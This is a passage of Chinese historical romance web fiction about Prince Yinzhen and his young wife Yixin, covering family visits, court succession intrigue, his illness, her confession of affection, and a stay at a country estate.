胤禛抬眼看他一眼,苏培盛低头噤声,不敢乱看乱说话,胤禛右臂搂着仪欣轻拍她的脊背,示意苏培盛将花神诗文杯茶盏续上温水。 苏培盛低着头倒上温水,将寝殿烛火熄灭两盏,恭敬将床帐帷幔落下,低着头退下专心守夜。 仪欣察觉到乍然昏暗,习惯亲亲他的下巴,愁的叹口气:“王爷想要什么补偿呢?我真的想不出来。” “这样吧…仪欣背一遍《离骚》,哄本王睡觉怎么样?”胤禛不紧不慢拍着她,歹毒地提议。 “啊?” 仪欣呵呵勉强笑两声,逞强说,“让我想想第一句…” 胤禛慢悠悠提示一句:“帝高阳之苗裔兮…” “噢噢噢,想起来了。” 仪欣声音软糯带着轻哄,叽里咕噜背诗像是鲤鱼冒出池塘水面吐泡泡。 “帝高阳之苗裔兮,朕皇考曰伯庸。” “摄提贞于孟陬兮,唯庚寅吾以降。” “……” “……” “惟草木之零落兮,恐美人之迟暮。” 仪欣吞咽口水,完了,快要到她背不过的地方了,她紧张攥着胤禛寝衣,手心沁出细密的汗珠,那种让夫子查功课的压迫感又来了。 “嗯…”仪欣迟疑下一句。 胤禛喂她一口温水,声音清冷淡淡提示,“不抚壮而…” “哦对。”不等他说完,仪欣咕咚咕咚咽下水,赶紧继续认真背,“不抚壮而弃秽兮,何不改此度?” “乘骐骥以驰骋兮,来吾导夫先路。” “嗯。”胤禛肯定她、应和她一声。 “昔三后之纯粹兮…固众芳之所在…?”仪欣尾音上扬,询问一下。 “嗯,继续。” 胤禛听着她软乎乎磕磕巴巴的背书声,温和将她攥在他寝衣上的手剥开,牵着她的手,脑中浮现她幼时小小一只坐在书桌前摇头晃脑背书的扬景。 “……” “……” “老冉冉其将至兮,恐修名之不立 “饮木兰之坠露兮,夕餐秋菊之落英…” “苟余情其信姱以练要兮,长顑颔亦何伤。” “掔木根以结茞兮…” 仪欣声音越背越小…破罐子破摔裹了裹被衾,自己把自己哄睡着了。 胤禛将她搂着放在床榻内侧,闷闷笑着小声嘟囔一句,“才几句就背不过了。” “明日就罚抄一百二十遍。” 仪欣不安稳挣扎一下,呜咽几声,梦里有狮子要叼着吃掉她。 胤禛的手从她的肩膀落到腰肢,慢慢躺下把她搂紧,夜里闭上眼睛,喉咙里溢出暗哑愉悦轻笑:“不罚了。” 仪欣胳膊搂上胤禛的腰,轻轻喘气,呼吸渐渐平稳。 她背书声将他哄得也有些困了。 胤禛精神松弛,将两人被衾拢了拢,浑身餍足闭上眼。 …… 天微亮时又下了一扬秋雨。 胤禛和仪欣周身暖融融的窝在床榻,仪欣懵懵然醒来,蹭蹭他的下巴。 胤禛眯着眼拍拍她的屁股,声音暗哑温柔,“别闹,再睡一会。” “王爷肩膀还疼吗?”仪欣打个哈欠,手钻进他的寝衣里暖着。 “不疼。”胤禛哄着回应她,抬手摸摸她的额头,倒是温度正常,“再睡一个时辰。” 二人是被十三爷胤祥下朝后探望胤禛吵醒的。 胤禛许久不曾睡到天光大亮,疲倦消解许多,也不似昨日风寒浑身无力,只是肩膀还是疼。 仪欣穿着一身淡蓝色蜀锦旗装,幽蓝色袄子上绣着簇簇海棠花,腕间碧绿叮当镯一步一响,明媚骄矜笑着招待十三阿哥和十三福晋。 她罕见踩着花盆底,若是不出差错,今日王府会来许多阿哥探视王爷。 仪欣坐在花厅,语气抱歉笑着说:“王爷在换药,十三弟和弟妹先用些糕点,那茶是皇阿玛赏的雪顶含翠,弟妹尝尝可还喝的惯吗?” 完颜氏端庄饮一口茶,手帕掩一下唇,笑着说:“四嫂的茶自然是极好的。还有四嫂的酥铺的桃花酥,妾身极其喜欢。” 仪欣高兴极了,她特别重视酥铺小点心,有人夸赞她的铺子,就跟夸赞她的孩子一样这么愉快。 仪欣兴致勃勃跟十三福晋推荐小点心。 十三福晋性格有些腼腆,木讷寡言,感受到仪欣的善意也笑着推荐她喜欢的糕点。 十三阿哥诧异看完颜氏一眼,怎么在家中同他没话说。 胤禛进到花厅,正看到仪欣和完颜氏凑得近笑眯眯说话,他身后跟着老三和老五。 “哦?十三弟来的比本王和老五早这么多?”三阿哥笑着说,慢悠悠叹口气,“果然还是亲近福晋,早朝后回府接十三弟妹一同探望老四。” 五阿哥可是听说了那勾栏戏子的事情,不赞成的轻杵一下三阿哥胳膊。 十三阿哥起身,听到三阿哥的话,抽了抽唇角,不知怎么解释。 完颜氏垂眸笑笑,起身行礼后安分站在仪欣身后。 仪欣娇憨笑着上前,胤禛牵过她的手。 “王爷…” 胤禛手指抵住薄唇,不许她提用膳的事情,是他和她起得晚了。 仪欣心领神会,骄矜抬了抬下巴,挽着十三福晋示意她们出去逛逛后花园。 胤禛坐上首,苏培盛带着小厮给各位爷换上新茶。 五阿哥胤祺笑着说:“这雪顶含翠皇阿玛只赏了四哥,弟弟都羡慕了。” 胤禛无奈:“你回府时带一些吧。” 三阿哥胤祉笑着打趣:“老四娶了福晋啊,这雍亲王府上真是处处不同,昨夜受伤福晋心疼了吧?” 第23章那仪欣替本王吃了吗 她都心疼坏了。 胤禛沉稳内敛,做不来情绪外露夸耀恩爱的事情,只是低头笑了笑。 “她年纪小,昨夜确实吓坏了。” 三阿哥笑呵呵,“你说你也是,怎么以身挡剑呢,老十四在你心里固然重要,可你刚成亲不久,哪能舍家中妻子不顾呢?” 五阿哥面色古怪,怎么今日三哥说话这么阴阳怪气,他用手肘又杵一下三阿哥胳膊。 胤禛四平八稳呡一口茶,自嘲笑笑:“哪是以身挡剑?昨日要推开老十四,谁知头脑昏沉自己没躲开,倒是让三哥见笑了。” 两盏茶的功夫,老九老十也来点个卯。 倒是昨日争吵中心的太子、老八和老十四没有露面。 老八府邸和雍亲王府比邻,八福晋郭络罗氏倒是坦率大方携礼登门拜访,在前院露个面后,笑着说要到后花园陪四嫂和十三弟妹叙话。 九月初秋,雍亲王府后花园到处盛开着菊花,花圃里还有漂亮虞美人和芍药。 仪欣正和完颜氏兴致勃勃讨论菊花做糕点的事情,余光看到不远处走来一个身材高挑颇具英姿的女子。 “四嫂。”郭络罗姚虞挑眉笑着行个礼,凑近挽上仪欣的胳膊,又朝着完颜氏点点头,“十三弟妹。” 仪欣弯唇,笑着牵住八福晋的手,拉着她坐下,“虞姐姐,你来了呀。” 从前马齐和八爷走的近,仪欣和八福晋虽有几岁年龄差,八福晋很亲近关爱仪欣,月月都会送仪欣簪钗衣裳,两个人熟稔如亲姐妹一般。 仪欣对于朝政之事可以说是一窍不通,从前讨厌老八,只觉得他道貌岸然装得光风霁月,总是躲着人跟她说奇怪的话。 后来是阿玛被八爷牵连,再到胤禛因老十四为老八求情的事受伤,反正,她对老八左右看不顺眼。 但是不耽误她和八福晋交好。 “仪欣,在雍亲王府可还好吗?”姚虞不避讳,直接抱歉说,“近些日子府上出了些事,倒是没有和你好好说说话。” 仪欣不在意摆摆手,娇憨笑着起身转一圈,“我很好呀。” 姚虞笑了,贝勒爷显然是败了,她不用再提心吊胆了,也好。 完颜氏平日里沉默寡言,只笑着做个倾听者,偶尔说两句话。 三个人气氛也很融洽,八福晋没有多留,说几句话便离去,约着仪欣晚些一同赏花灯。 仪欣在后花园吃了许多小点心,她心里还惦记着胤禛没有用早膳,就叫苏培盛给王爷传个话,福晋请王爷到正院喝汤药。 胤禛有些奇怪,他自然已经喝过药了,此时坐得不耐烦也顺坡下驴,扶膝起身笑着点头说:“抱歉,失陪一下。” 老三起身摆摆手,“罢了,老四,你好生歇着,本王不多打扰了。” “四哥,我改日再来看你。”老五打声招呼。 老三和老五起身离开,只有老十三起身亦步亦趋跟个小尾巴一样跟着胤禛。 胤禛瞅他一眼,刚路过后花园旁假山就被人拉了过去,没反应过来就嘴里就被塞了两块清香甜腻的小点心。 胤禛俯身亲亲她的发顶,笑着问,“你怎么在这里猫着呢?” 仪欣美滋滋手舞足蹈,又给他塞一块栗子糕,抱住胤禛的腰,“快吃快吃,我都替你饿了!” 胤禛温声笑着问,“仪欣替本王饿了,那仪欣替本王吃了吗?” “我吃了好多的。”仪欣给他塞过一枚绣着蜻蜓荷叶点翠荷包,鼓鼓囊囊都是她的小零食,指了指十步之外的亭阁,嘱咐一句,“十三弟妹还在南云亭等我,王爷快回去吧。” 胤禛攥住仪欣手腕,在背后牵着她的手,说,“无妨,前院人已去,老十三随本王来后院了,不妨一同去南云亭用盏茶。” “那可真不错。” 仪欣高兴极了,日头渐高,南云亭的阳光隔着薄纱懒洋洋洒在身上,他们可以一起下棋饮茶讲有趣的事情。 “王爷,福晋,马齐大人登门拜访。” 苏培盛得到门房的消息赶紧来禀报。 胤禛松开仪欣的手,先从假山后退出去,冲她挑眉让她先去见马齐。 老十三顿住脚步拱手笑笑,欲言又止半晌还是老老实实和胤禛请辞,带着十三福晋离开。 胤禛眸色幽深,手指捻着佛珠,看着老十三离去的背影。 十三福晋在马车上撩开马车帘同仪欣示意告别,又温婉笑着同马齐大人点头打个招呼。 放下马车帘,完颜氏脸上笑意当即减淡,倚着马车壁看着对面坐立难安的男人,淡淡开口:“贝勒爷以为雍亲王不知您所求吗?” 雍亲王是何等运筹帷幄的人物,贝勒爷所想所做又如何不知,他只要打定主意作壁上观,便装聋作哑不会帮衬贝勒爷安置那勾栏女子。 如此,她的目的也就达到了。 “完颜氏,你是不是善妒?”老十三别扭冷哼一句。 完颜氏不紧不慢闭目养神,善妒,还真不是,她可并非八嫂那般强悍又有占有欲的女子,八嫂善妒,因为她的母族强大,更因为她真心喜欢八爷,她不是。 …… 仪欣如同乳燕投林般绕着马齐和傅文一圈圈晃悠,问他们有没有用膳,想不想吃小点心,怎么来王府看她啦,二哥三哥军营中差事忙不忙。 傅文含笑在袖袋里掏出一包热乎乎的糖炒栗子和一个瓷罐泥陶胖娃娃,温声解释,“本来下朝就要来王府看望王爷,昨日听琅嬅说她买了很漂亮的城南泥陶,下朝后想着和阿玛绕了段路去给你买一个,顺便带一份你爱吃的糖炒栗子。” “谢谢大哥,我真喜欢!” 仪欣高高兴兴捧着,比照在马齐脸侧,撒娇有点挑衅说,“倒是和阿玛有点像,憨憨的胖娃娃。” 马齐憨笑撸撸胡子,不介意女儿不尊敬的玩笑,吹胡子认真和泥陶对视,比量半晌摇摇头,“阿玛年轻时候可比它英俊。” “那可不,要不怎么生的出我这么漂亮的女儿!”仪欣骄矜捧着泥陶摇头晃脑。 马齐呵呵笑。 胤禛在仪欣身侧看着她和阿玛兄长撒娇,接触上傅文笑得温文目光。 马齐拱手行礼,掏心窝子耿直开口,“王爷昨日实在不该…唉!” “是,昨日也是晚辈冒失了。” 傅文诧异挑眉,敏锐逡巡在妹妹和雍亲王身上,一人之下力压太子的雍亲王爷自称晚辈,倒是让人出乎意料。 胤禛姿态放低,左臂示意,引着马齐和傅文到后院南云亭坐着用茶,亲自将煮茶给马齐斟上一盏。 抬腕要给傅文斟茶,傅文抬手拦住,笑盈盈接过,“王爷,使不得。” 第24章若是自污呢? 马齐看着两个人琴瑟和鸣,心里总算松口气,也不枉他这几个月来来回回找借口登门。 昨日乾清宫前的闹剧富察马齐并不在扬,可是依照沙济富察氏的耳目人脉,雍亲王刚回府不久便知晓事情始末,依照常理,这种皇室秘闻,富察氏理应装聋作哑,可因仪欣的缘故,胤禛对于沙济富察氏毕竟不同。 富察氏没有旁的优点,就是护短,如今马齐也算是暗戳戳将胤禛划到富察氏护短名单了,这可是女婿,哪个天潢贵胄从龙之功能比得上他亲女婿。 马齐喝口茶,掏心窝子话接二连三,“王爷,可不能再做危险的事了。” 仪欣在一旁猫猫点头,一连串附和,“就是就是!可不能这样了。” 胤禛慢悠悠看一眼身侧虎视眈眈教育他的人儿,唇角微扬又缓缓压下,轻咳一声,“晚辈受教。” 傅文眼尾上挑,眯着眼笑着跟仪欣说:“仪欣,额娘给你绣了一件披风,哥哥交给晴云了,你快去看看。” “哇——”仪欣惊叹一句,指尖偷偷蹭蹭胤禛手腕佛珠,一溜烟去看她的新披风。 她琢磨着要给额娘塞一些礼物让阿玛带回去,前几日王爷从宫里给她带了两斛螺子黛,珍贵异常,额娘喜欢画眉,想必也非常喜欢。 还有万岁爷昨日赏赐几匹蜀锦,她今晨粗略看赏赐单子时,便觉得那匹鎏金深紫色绣着绣球花的蜀锦特别适合额娘,额娘可以在她的两个月后的生辰宴上裁衣裳。 南云亭内。 胤禛佛珠轻轻摩擦着诗文杯上的芍药花,凝神在上面活灵活现的小狐狸上,半晌倦怠扯了扯唇角,淡淡开口,“大人有话不妨直说吧。” 马齐收敛些和善的笑,沉声开口:“王爷,隔墙有耳乎?” 胤禛笑笑,“不曾,雍亲王府不会传出去任何本王不想听到的话。” 如果传出去了,尽管问责他。 马齐闻言轻叹一声,点点头,直言道,“王爷,太子并非明君之选,您还是不要在太子身后了。” 胤禛一顿,慢悠悠饮一口茶。 富察马齐仍旧在苦口婆心,甚至开诚公布交代曾经为何站队八爷,太子实在荒唐事太多,喜好男风,私通庶母之事闹得沸沸扬扬,年长后还带些骄奢淫逸,好大喜功,纵使太子实有才干,却也并非明君之选。 马齐叹口气,竟是将茶当酒一饮而尽,“太子复立,只是不知皇长孙品行如何了。总之,王爷听老臣一句,太子不值得王爷舍身追随。” 胤禛淡淡“嗯”一声,抬眼露出狮子般锐利的目光,又慢慢垂下。 马齐没有察觉。 倒是傅文被那上位者圈守领地的锐利目光刮到骨髓,心脏微微一缩。 不对,不对,为什么八爷谋夺储位失败,阿玛…包括他在内都下意识揣摩拥护储君太子,甚至考虑皇长孙弘皙和三爷…… 不对,为什么他们都下意识忽略了纵横朝堂十余年二十三岁封亲王的眼前男人。 所有人…都对这个权倾朝野的实权亲王格外恭谨,又格外放心。 因为绝嗣。 若是自污呢? 傅文曾经亲近八爷,格外清楚雍亲王男女情事上的糟污名声有多少是九爷十爷的从中作梗,况且,雍亲王四平八稳直言,雍亲王府被他把持言论如铁桶一般,绝嗣之名,明明破解之法颇多,可四爷作壁上观,不置一言。 “王爷意下如何?”傅文不露声色试探,“富察氏应当何去何从呢?” 胤禛脊背松弛,撂下茶盏,轻按一下左肩伤口处,云淡风轻开口:“弘皙如何,皇阿玛偏疼而已。皇阿玛春秋鼎盛,富察氏同本王一般,只做纯臣,不好吗?” 马齐八面玲珑,此时想得也有些心累,弘皙阿哥才十七,入朝也是做些杂事,爱新觉罗氏不缺威仪万千的天潢贵胄,叔叔们珠玉在前,弘皙纵使颇具才干,想冒头也是难如登天。 马齐在朝堂立身保守,丝毫没有想过雍亲王没儿子继承大统之事,除了带领富察氏辉煌煊赫之外,近些日子总琢磨些仪欣能过继个宗室孩子。 马齐撂下茶盏,轻“欸”一声,破罐子破摔摆摆手,“罢了,老夫去看看闺女。” 傅文闻言倒是松口气,雍亲王还是接纳富察氏的,朝政立扬一致的邀请,他收到了。 等到马齐走出南云亭,傅文两指扶着茶壶,替胤禛斟茶,笑着说,“仪欣性格单纯,朝堂上有些事不能替王爷分忧,王爷担待些。” “吾妻年少,她还未及笄,你怎么知道她不可以呢?”胤禛寡言冷淡,没有接茶。 傅文笑笑,自顾自放在茶桌上,“仪欣性情,做兄长的总是了解的,她不喜欢权力,只盼王爷把她护得严实,有什么事,微臣愿肝脑涂地。” 她喜不喜欢权力,也要她自己试过再来决定,而不是她的阿玛兄长替她抉择。 胤禛揉揉额角,不愿多提。 怎么仪欣的嫡亲兄长同她性情这么不同,仪欣赤诚骄矜热烈,富察傅文逢迎里藏着试探,温文儒雅里包裹着阴险狡诈。 “王爷!”仪欣笑盈盈撩开薄纱,在背后勾住胤禛的佛珠,手腕钻到他的佛珠里。 “嗯?披风喜欢吗?” 胤禛反手握住她的手,佛珠好似绑着她和他手腕,他一使劲将她拉到亭中来。 “喜欢,是我最喜欢的蓝色。” “嗯。”胤禛周身气息柔和下来,主动邀请马齐和傅文一同用午膳。 傅文恭敬拱拱手,“多谢王爷了。” 仪欣很欢喜,前阵子和王爷在春意楼聘来一个甜品厨艺,撒开胤禛的手,凑到马齐身旁暗戳戳挤眉弄眼,“阿玛,咱们吃乳酪冰碗吗?我府上有个新聘了名厨。” 马齐疼闺女,总是难以拒绝,笑呵呵犹豫一下,还是捧扬,大手一挥,“吃!阿玛陪你吃!” 胤禛闭了闭眼。 赶出去,都赶出去。 午膳用得和谐,胤禛在旁人面前总是不落忍扫仪欣颜面,拒绝她的请求也做不到,故而避开冰沙,亲自替她剜了两勺乳酪,淡淡开口:“天凉了。” 仪欣特别乖巧,摇头晃脑美滋滋吃冰碗,也很容易满足从不得寸进尺。 胤禛见她这么乖巧,就想摸摸她毛茸茸的脑袋,却也只是悄悄蜷缩一下手指。 用完午膳,仪欣将御贡的螺子黛、蜀锦和雪顶含翠给富察府的小厮,欢欢喜喜送走阿玛和兄长。 胤禛眸色幽深,在正门后拦腰拉到怀里,微微低头低声哄一句,“搂紧,本王抱你去午睡。” “别,王爷有伤。” 第25章我有点喜欢你 胤禛似是呢喃一声,搂着她的肩膀,“可是本王想抱你。” 他说出这句话时也一愣,原来跟她表达欲望是这么容易的事情,他可以学着她的口吻索要亲吻拥抱,无需言不由衷,不用故作矜持。 他在她身上得到一切总是轻易的,轻易到他不用去试探,直白开口就可以得到炽热的回应。 仪欣主动搂住胤禛的腰,仰头看他,又退出他的怀里,“好啦,那本福晋牵着你慢慢走回家,好不好?” 胤禛弯唇,这话听着怪耳熟的。 他将戴着佛珠的手伸出去,示意她牵着。 仪欣牵着胤禛的手,溜达着往正院走。 …… 当天夜里,胤禛本就浅眠,眯着眼醒来摸了摸额头,发现自己在发热。 怀里人贴着他的胸膛乖巧熟睡着,胤禛挣扎着起身,给仪欣怀里塞一个枕头,被衾裹了裹。 胤禛披着外衣去了偏殿。 “王爷……”苏培盛侍奉他喝药,欲言又止。 胤禛烧得有些迷糊,伤口也隐隐作痛。 “轻声些传太医,莫吵醒她。” 仪欣半夜醒过来,身旁无人,晴云守夜听到动静赶紧将烛火挑亮。 “王爷呢?”仪欣裹着被衾反应不过来。 “福晋,王爷发热了,在偏殿。”晴云轻声说。 仪欣匆忙到偏殿的时候,胤禛已经喝完汤药,又换完肩膀上的伤药,面色苍白躺在偏殿床榻上,伤口一抽抽疼。 太医已经退下,只有苏培盛守在身边,孤零零的,应该是发热了许久了。 光是站在他身侧,依旧能无言感受到他的虚弱。 “王爷…你怎么不叫醒我呢?”仪欣觉得有点心疼他。 胤禛面容冷白,唇色嫣红,虚弱随意倚着冲她笑了笑,薄唇轻启,“快回去睡觉,小心感染风寒。” 仪欣更心疼了,不退反凑近端着茶盏要喂他。 胤禛偏头想咳嗽,退远着,凶她一句,“富察仪欣,站在那,不许过来。” 仪欣瘪了瘪嘴,垂着头,黏糊糊端着茶盏喂到他唇边,哭腔委屈嘟囔一句,“你生病了,我不怪你凶我。” 胤禛一愣,别扭喝下温水,喉咙里舒服些,温和些语气,“不是凶你,你身子弱,若是感染风寒也难受,不是吗?” 仪欣不理他,学着胤禛在她生病时候的模样,让他靠在自己的肩膀上,呜咽抿唇抱着他。 “仪欣…”胤禛精神脆弱,过分贪恋她的怀抱,轻叹一句搂住她的腰,还是嘴硬说,“根本不听话。” 苏培盛端着一碗黑乎乎的汤药,俯着身子递给仪欣,“福晋,您当心身子。” 仪欣接过,面不改色喝掉,示意苏培盛不必伺候了。 夜深雾浓,仪欣心里塞了一团棉花,缠绵着无端的情绪,他苍青色血管在冷白手背上安静躺着,似乎能预料到其间的血液,像染湿他肩膀的血一样滚烫。 “仪欣…我有点累。”胤禛烧得晕乎乎的,口不择言,他不清楚自己怎么会跟一个小姑娘分享这么脆弱的想法。 “胤禛……” “嗯?”胤禛喘口气,声音在夜里格外暗哑。 “我有点喜欢你。” “什么?”胤禛想起身,浑身无力赶紧摸索着握住她的手,迫切求证又问一遍,“什么?” “我有点喜欢你…”仪欣软糯的声音在昏暗的夜里清晰得像滴在屋檐下青石板的雨水,她的眼睛雾蒙蒙的却异常明亮,她偷偷笑着说,“我说出来这句话,觉得好高兴哇。” 胤禛闷吭一声,在她单薄的怀里蜷缩一下身子,他几乎是狂喜,却差点落泪,喉结滚动咽下突如其来的酸水。 “富察仪欣,不是喜欢本王吗?给我背离骚哄我睡觉。”胤禛搂紧她,理直气壮吩咐。 他很虚弱,想亲她,抱她,想…做。 却只是搂紧她,想问问她为什么喜欢他,想跟她说喜欢他跟喜欢她的兄长不能是一样的。 什么都没说,他就想听听她的声音。 “哦。”仪欣又给胤禛喂一盏安神茶,牵着他的手,拨弄他腕间佛珠,咕哝着背离骚。 还没半刻钟,仪欣小声问,“你睡着了吗?” “笨坏了,怎么还是背到这里?” 胤禛一动不动,声音突兀响起。 仪欣把玩他的手指,指腹揉捏他的骨节,委屈嘟囔一句,“王爷,我真的背不过。” “王爷不知道,我读书很差的,年幼时容易生病,启蒙底子很差的,那时候…富察氏学堂格格很少,你记得几个月前在春意楼跟我吵架的乌拉那拉氏吗,反正,她在学堂掐尖要强,她确实很聪明,但是,她硬要拉着我比较,后来,我就不想看到她了,很烦。” “读书也很烦,我总是生病,女夫子有许多学生,讲课自然也不会等着我,后面我就学得有些乱套。” 仪欣今夜很想跟胤禛倾诉成长过程中为数不多的烦心事。 胤禛睫毛的阴影轻颤,和缓又沉稳开口:“如果…本王只有仪欣一个学生,仪欣愿不愿意跟着本王读书?” “王爷…我是难教的学生。” “那我争取做最耐心的老师,好不好?” 胤禛眼睛闭着,仰头轻亲她的下巴,“仪欣,你还年少,本王希望你的爱恨喜怒都是你眼界开阔后的选择,而不是被命运推到那个境地。” 喜欢上他,是她没有见过别的男人。 她算是被命运推到他的身边,他不算有愧,却只盼她在他身边能够变得更好。 他愿意带她到更远的地方,不困顿于后宅,不束缚于蒙昧。 他察觉到,她的父兄甚爱她,于是严实将她护在身后,朝堂政事对她避之不及。 他生来就站在权力至上的巅峰,享受皇权滋味,觉得甚爱,于是不能共情她的父兄,试探着引导着想让她也手握权力极致供养的滋味。 吾妻年少,他今夜头脑昏沉,有些话猝不及防袒露,也觉得甚是愉悦。 “老师,你这样,我会越来越喜欢你的。” 仪欣不再抱着他,笃定嘟囔一句,钻到胤禛怀里,贴着他胸膛,放轻呼吸后能听到他震耳欲聋的心跳。 胤禛闷吭一声,搂紧她,叹口气,“你……” 混不吝。 第26章我那柔弱不能自理的王爷 胤禛倒是没觉得怎么样,只是换了一种更难喝的汤药。 然而仪欣吓坏了,像个粘人的小尾巴一样寸步不离的守在胤禛的身边,给他端茶喂水,直勾勾盯着他早睡。 胤禛很享受她管着他,仪欣让他喝什么汤药,吃什么膳食,他都轻叹一声,慢悠悠照做。 “王爷,让我来让我来。”仪欣接过胤禛端着的茶盏,小心翼翼喂他喝水。 胤禛隐秘弯唇,垂着眼眸乖顺吞咽温水。 苏培盛在一旁看得目瞪口呆。 什么玩意? 我那清冷出尘、不近人情的王爷哪里去了? 苏培盛察觉到自家王爷周身气质发生了翻天覆地的变化,昨夜过后,王爷身上陈年冗积的冷漠倦怠,被另一种情绪替代,血液里透着愉悦和温热。 于是,哎呦,昨夜究竟是怎么了? 我那柔弱不能自理的王爷呦! “王爷,这个牛乳糕还是热乎的,你吃一块。”仪欣笑眯眯喂到胤禛嘴边,贴心替他将书籍翻页。 胤禛衔掉她喂过来的牛乳糕,依旧声音温和耐心跟她讲解这篇策论。 仪欣眉眼弯弯,一边听着一边认真点头,窝在他怀里打个哈欠。 胤禛咬咬牙,大掌摸到她的腰肢不轻不重掐一把,冷哼一声,“若是在本王怀里犯困,就坐到小板凳上听课。” “在听了,在听了。” …… 胤禛赋闲养伤的日子格外轻松惬意。 他怀疑自己其实是个易困之人,和她日日睡到日上三竿,早晨同她一起读书练字,午后抱着她午睡也能睡着,傍晚时召谋臣前院议事,过得充实。 总之,他很满足过着这样的有她的日子。 仪欣温暖赤城,不吝啬她的爱,于是他日日感受着满满的爱意,有些微醺。 之后几日,王府拜访的人依旧络绎不绝,不必说胤禛的亲兄弟们,便是宗室朝臣,对受伤内情略有耳闻,或者只知雍亲王爷偶感风寒,均携重礼拜访,生怕晚了给雍亲王留下不好的印象。 宫中高位嫔妃和太子妃亦赐下许多珍宝。 仪欣自小承钮祜禄氏教导,对人情世故往来也算精通,此时也难免应接不暇,账册流水翻的哗哗作响。 不仅如此,胤禛每日都带着她读四书五经,仪欣忙得时常炸毛。 “为什么!” “什么为什么?”胤禛忍俊不禁。 “为什么我不能一手抓管理中馈,一手抓四书五经,一手抓照顾王爷,一手……” 仪欣恶狠狠盯着账册,又虎视眈眈看一眼胤禛。 胤禛笑出声来,“我找找哪有这么多只手?” 她最近确实有些劳累,两个人一同泡在药罐子里,值得庆幸的是,她没有生病,反而面色红润,晚上也不再寒凉惊醒。 仪欣摔掉账册,还踢一脚。 去你的吧。 胤禛俯身捡起来,背着手握住账册,在书房溜达几步,似是随意开口,“咱们去京郊庄子玩一段时间怎么样?” 仪欣耳朵竖起来,欢欢喜喜凑过来,惊叹一声,“哇——” …… 深夜里。 仪欣化身夜猫子,兴致勃勃在正院收拾衣裳簪钗,计划在别庄泡温泉和骑马射箭要如何打扮。 胤禛在前院书房议事。 书房里坐着胤禛的两名谋士,胤禛四平八稳坐在桌案之后,慢慢捻着碧绿佛珠。 “王爷,山雨欲来风满楼。”其中一个男人叹口气,忽然摇了摇头。 胤禛换个舒服姿势,闻言笑笑,“风满楼,也是凡人装神弄鬼,李卿不必在意,何妨吟啸且徐行。” 胤禛的风轻云淡运筹帷幄的态度给他的谋士一个主心骨。 两个人也笑了。 “只是…十三爷近日有些情况。”另一个人开口。 夏刈站在胤禛身后,闻言耳尖微动,一言不发,如同沉默的弓弩。 胤禛沉默一瞬,淡淡说,“罢了,他自有他的造化。时辰不早,回吧。” 说完,胤禛起身,踱步离开书房。 回主院的路上,虽是万籁俱寂,院落间王府随从丫鬟仍旧有条不紊忙碌着。 见王爷身影,均远远低头避让,俯身行礼。 胤禛揉揉额角,“老十三养在外面的女人是谁的人?” 夏刈低声禀告:“九贝勒。” 胤禛听到意料之中的答案,倦怠扯唇,这么没品的事情,他们倒是做的轻车熟路。 夏刈难以启齿开口:“王爷,那女子意不在十三爷,而在于您。” 那胭脂处处暗示十三爷借由王爷之手安顿她,给她一个容身之所。谁知王爷根本没兴趣插手此事。 胤禛脚步一顿,觉得荒唐,笑了,“本王作壁上观,如今换成谁了?” “是太子。”夏刈将粘杆处查到的结果逐一禀报,“您未曾沾手此事,三日前,十三爷同太子求助,太子欣然同意,将胭脂接到别院安置…如今…” “如今已经成事了。”夏刈最后几个字说得囫囵。 成事? 还能成什么事。 胤禛沉默。 他可能是病了的缘故,总觉得沾惹床笫之事定要满心爱怜、相情相悦。 他同仪欣尚且担忧她年幼体弱,纵使忍耐非常,也慎重得一等再等。 算了,这么多年,他不一直都是另类异样的存在吗? 胤禛打断思绪,吐出口气,对夏刈说,“老十三毕竟年轻,本王不能不管他,老九龌龊手段驾轻就熟,他安插在御前的侍茶宫女也该露出马脚了。” “太子暂时不能出事。” 胤禛随手甩一下佛珠,像是闲聊般随意吩咐。 “胭脂,杀。” …… 太子复立,朝堂并未如康熙预料般安稳下来,反而风波越来越盛。 胤禛四平八稳,入宫去康熙面前点个卯,谢恩皇上派太医照料,挥一挥衣袖,只说带着福晋去别庄养伤,万般遗憾暂时不能侍奉在皇阿玛膝前。 康熙这段时日真是想念自己的四子,他和太子的关系仿佛钻进一个死胡同,太子侍奉膝前,他觉得太子谄媚虚伪;若是太子耕耘朝堂,他也会揣度太子居心叵测。 人总是会美化自己未走过的道路。 废黜太子后,康熙复立胤礽为太子的心如烈火烹油,如今太子复立,他又不安乐,满腹怀疑如大潮漫涨。 胤禛不远不近,又不折不挠侍奉父君的好处便愈发有了比较。 第27章别庄生活 仪欣在富察府未出阁时,极少极少有机会出门,更不用说,有机会体验新鲜事,她最喜欢新鲜事。 “王爷,咱们今日做什么呀?” 胤禛看着她薅着自己腕间佛珠,身子朝她偏了偏,故意逗她说:“今日监督仪欣背书吧。” 她打扮的明媚娇憨,粉红色袄子配着幽蓝色云纹大氅,头上珍珠发簪错落有致,额间点着芍药花花钿,骄矜挂在胤禛胳膊上,愉悦与他十指紧扣。 “不信不信。” 仪欣一阵晃悠他的胳膊,眼巴巴看着他。 “你想干什么呢?”胤禛被她看得心软。 “我除了读书什么都想干。”仪欣发自肺腑。 不开窍还怪可爱的,胤禛弯唇,带着她在别庄溜达闲逛。 皇庄自是不同,仪欣看什么都新鲜,别庄后有一片山,苍翠欲滴的松柏令人心境开阔,山上坐落着一座温馨的小屋,胤禛来别庄次数很少,想到仪欣可能会喜欢,故而提前翻新布置。 比起王府,别有一番滋味。 清晨仪欣裹着大氅在林中散步,突然肉乎乎一大团蹿到她的肩膀上,突然钻到她的肩膀上,没脏没净往她脸上蹭。 只看到粽灰一团,仪欣吓得尖叫一声,下意识蹲下抱着头。 松鼠也被吓了一跳,一溜烟跑个没影。 晴云和苏培盛没反应过来,晴云有些身手,第一时间去排查还有没有不干净的东西。 苏培盛小跑过来,不等询问,就目瞪口呆看着自家王爷折膝跪下了。 胤禛见状跪着把人搂到怀里,护着她的头尽可能抱着她,“没事没事,本王在这里。” “那是什么玩意?”仪欣胆小,声音颤抖,半晌才跃跃欲试出声询问,“天上怎么掉下来一只老鼠?” “那是松鼠,就是你爱吃的小松子和板栗,它也爱吃,不害怕,嗯?” 见她身体不再僵直,胤禛反而搂紧她,手臂有力,胸膛宽阔,声音沉稳安全感十足,“本王在你身边,没有值得你害怕的东西。” “王爷,你得牵着我的手。”仪欣站起身来揉揉眼睛撒娇埋怨他。 胤禛无奈,粘人精,不过是一眨眼没牵着,也对,她怕是第一次在山里玩,他确实应该时时刻刻牵着她。 他起身搂住她的肩膀,指尖替她微微提着浅黄色旗袍,带着她散步。 